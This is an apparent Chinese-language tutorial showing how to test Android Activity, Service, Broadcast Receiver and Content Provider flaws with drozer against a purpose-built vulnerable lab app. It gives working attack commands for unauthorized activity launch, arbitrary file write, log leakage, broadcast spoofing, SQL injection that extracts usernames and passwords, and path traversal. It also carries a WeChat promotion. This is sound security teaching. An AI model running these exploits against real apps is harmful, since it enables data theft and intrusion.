Android四大組件安全漏洞實戰
Android 四大組件Activity、Service、Broadcast Receiver和Content Provider是應用程序的核心組成部分,但如果實現不當,會引入嚴重的安全漏洞。本文將詳細分析各組件常見的安全漏洞,通過漏洞代碼邏輯基于 drozer 的利用方式,能夠更清楚的了解具體漏洞的原理以及利用方法。
具體droze的下載和安裝不詳細介紹,可以自行百度,安裝完成后先在android端運行drozer agent,點擊開啟。

在電腦端通過adb實現端口轉發,并成功啟動drozer
adb forward tcp:31415 tcp:31415
drozer console connect

通過app.package.list的filter參數過濾alan關鍵詞的包名稱
run app.package.list --filter alan

查詢該app的包信息
run app.package.info -a com.asec.alan

利用app.package.attacksurface可以查詢該APP的攻擊面,即漏洞的點和數量。
run app.package.attacksurface com.asec.alan

完成上述的操作后,即可對相關的漏洞進行檢測分析了,接下來針對具體的組件和漏洞進行測試操作。
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
一、Activity
Activity 作為 Android 的界面組件,負責與用戶交互,其安全問題直接影響用戶數據安全。
1、未授權訪問漏洞
需要登錄權限的 Activity 未做嚴格校驗,導致惡意應用可直接通過 Intent 啟動。
通過以下drozer命令可以查看當前app的所有activity,并確認無權限限制
run app.activity.info -a com.asec.alan

對于這些activity的執行邏輯屬于
LoginActivity登錄->MainActivity->InfoQueryActivity



LoginActivity登錄->MainActivity->FileQueryActivity



1)漏洞代碼
以下為具體的代碼,以LoginActivity登錄->MainActivity->InfoQueryActivity場景為例,可以看到首先LoginActivity以硬編碼的形式進行用戶密碼的判斷,并使用SharePreference進行了登錄態的存儲

當用戶密碼登錄成功后即可跳轉MainActivity,MainActivity對登錄態簡單做了校驗,確認其中的is_logged_in的值存在即可加載。

通過MainActivity跳轉到InfoQueryActivity直接進行點擊事件的監聽跳轉

該acitivity直接加載,未進行登錄態的校驗

通過上述APP代碼的分析,可以判斷出MainActivity的加載做了簡單的登錄態校驗,但是如果已經登錄過,且登錄態寫入到user_prefs.xml中后,只要不進行刪除即可直接通過命令加載成功實現繞過;InfoQueryActivity的加載并未做任何校驗,可以嘗試直接進行加載。
2)漏洞利用
MainActivity加載:
基于上述代碼邏輯的分析,接下來通過drozer命令進行利用測試,如果已經登錄過APP,則在該程序目錄會生成user_prefs.xml文件,里面會寫入"is_logged_in"的值為true

MainActivity的加載可直接通過drozer命令加載
run app.activity.start --component com.asec.alan com.asec.alan.MainActivity

執行后成功記載MainActivity

刪除user_prefs.xml文件,再利用drozer命令嘗試加載MainActivity則失敗



InfoQueryActivity加載:
InfoQueryActivity則通過app.activity.start命令直接加載即可。
run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity


3)修復建議
二、Service
Service 用于后臺處理任務,若存在漏洞可能導致敏感操作被惡意調用。
新建一個用于漏洞測試的service,并寫入一些漏洞的邏輯

service組件運行導出

通過drozer命令可以查詢支持導出的service組件信息,支持導出則可能存在對應的漏洞。
run app.service.info -a com.asec.alan

1、任意文件寫入漏洞
在 Android Service 場景中,當服務接收外部傳入的文件路徑參數并直接用于文件寫入操作時,覆蓋應用自身關鍵文件(配置文件、數據庫等),導致應用的使用或者安全風險問題。
1)漏洞代碼
當 Service 處理"com.asec.alan.ACTION_WRITE_FILE"動作時,會從 Intent 中直接讀取filePath參數及需要寫入的內容,并通過writeToFile()方法寫入內容。但是writeToFile()直接使用傳入的filePath創建File對象,未檢查路徑是否限制在應用私有目錄

2)漏洞利用
通過drozer命令向/data/data/com.asec.alan/寫入drozer_test.txt文件,文件內容為Test from drozer
run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer"

利用adb shell連接android系統,切換為root權限后查看drozer_test.txt的存在和內容
adb shell
su
ls /data/data/com.asec.alan/drozer_test.txt
cat /data/data/com.asec.alan/drozer_test.txt

2、敏感信息泄露漏洞
敏感信息泄露指應用在運行過程中,將不應公開的敏感數據(如密碼、密鑰、令牌等)以明文形式存儲、傳輸或輸出,導致未授權主體可獲取這些信息。
1)漏洞代碼
當 Service 處理"com.asec.alan.ACTION_GET_SECRET"動作時,getSensitiveInformation()方法會返回包含數據庫密碼、API 密鑰等核心敏感數據,并通過Log.d()輸出到系統日志


2)漏洞利用
利用drozer命令啟動com.asec.alan com.asec.alan.VulnerableService服務
run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService

通過adb的logcat查看對應的日志,成功打印出對飲的敏感數據。
adb logcat VulnerableService:D *:S

三、Broadcast Receiver
Broadcast Receiver 用于接收系統或應用間的廣播,若實現不當會導致信息泄露或惡意調用。
1、偽造惡意廣播漏洞
Receiver 未驗證廣播發送者身份,惡意應用可偽造廣播觸發敏感操作。
1)漏洞代碼
該接收器未對廣播發送者的身份進行任何驗證,任何應用都可以發送com.asec.alan.ACTION_SENSITIVE_OPERATION動作的廣播來觸發其邏輯。并通過performSensitiveOperation方法執行敏感操作,測試使用Toast在界面彈窗展示,但整個調用鏈都沒有權限檢查機制。


2)漏洞利用
利用drozer偽造惡意廣播并觸發該接收器
run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test"

通過界面可以查看到對應的廣播信息

四、Content Provider
Content Provider 用于數據共享,是最容易出現安全問題的組件,常見漏洞包括信息泄露、SQL 注入和目錄遍歷。
1、信息泄露漏洞
Content Provider 未限制訪問權限,導致應用內敏感數據(如用戶信息、數據庫)可被任意讀取。
1)漏洞代碼:
通過該代碼可以發現,未檢查調用者是否有讀取權限,可以直接調用sql進行數據的查詢。



2)漏洞利用
利用drozer命令可以查看該APP的provider的信息
run app.provider.info -a com.asec.alan

利用app.provider.finduri可以查看所有的uri
run app.provider.finduri com.asec.alan

通過drozer查詢content://com.asec.alan.provider/該uri的數據
run app.provider.query content://com.asec.alan.provider/

2、SQL 注入漏洞
Content Provider 在處理查詢時直接拼接 SQL 語句,未使用參數化查詢,導致 SQL 注入。
1)漏洞代碼
通過代碼發現將selection參數直接拼接進 SQL 查詢字符串,未使?參數化查詢或輸?凈化,完全信任外部輸?。并且忽略了selectionArgs參數,該參數本應?于安全傳遞查詢參數,調?rawQuery時未使?參數綁定功能,?是傳遞null。

2)漏洞利用
利用drozer的scanner.provider.injection可以查詢該APP的Content Provider存在的SQL注入
run scanner.provider.injection -a com.asec.alan

基于sql注入漏洞的測試和利用,通過order by進行顯示位的判斷
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4"

并進行username和password數據的查詢。
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--"

3、目錄遍歷漏洞
Content Provider 的openFile()方法未驗證文件路徑,導致攻擊者可訪問應用沙盒外的任意文件。
1)漏洞代碼
代碼中使用uri.getEncodedPath()獲取路徑,未處理../或..\等路徑跳轉符,用戶可控的uriPath直接與基礎目錄baseDir拼接,并沒有對訪問的文件類型、路徑范圍進行權限校驗。

2)漏洞利用
利用drozer的scanner.provider.traversal對目錄遍歷漏洞進行檢測,發現對應的uri
run scanner.provider.traversal -a com.asec.alan

并成功查詢/system/etc/hosts文件內容
run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts

本文利用drozer工具基于該APP的測試和操作,其實對于android app的組件漏洞的測試還有很多方法,通過其對四大組件的系統性檢測,可有效發現權限控制缺失、輸入驗證不足等高危漏洞。在實際測試中,需結合靜態代碼分析(如查看 AndroidManifest.xml 的組件配置)與 Drozer 的動態交互測試,形成 "靜態枚舉 + 動態驗證" 的閉環,才能全面評估組件的安全狀態,為漏洞修復提供精準依據。
APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk
提取碼: 4ggk
更多網安技能的在線實操練習,請點擊這里>>

浙公網安備 33010602011771號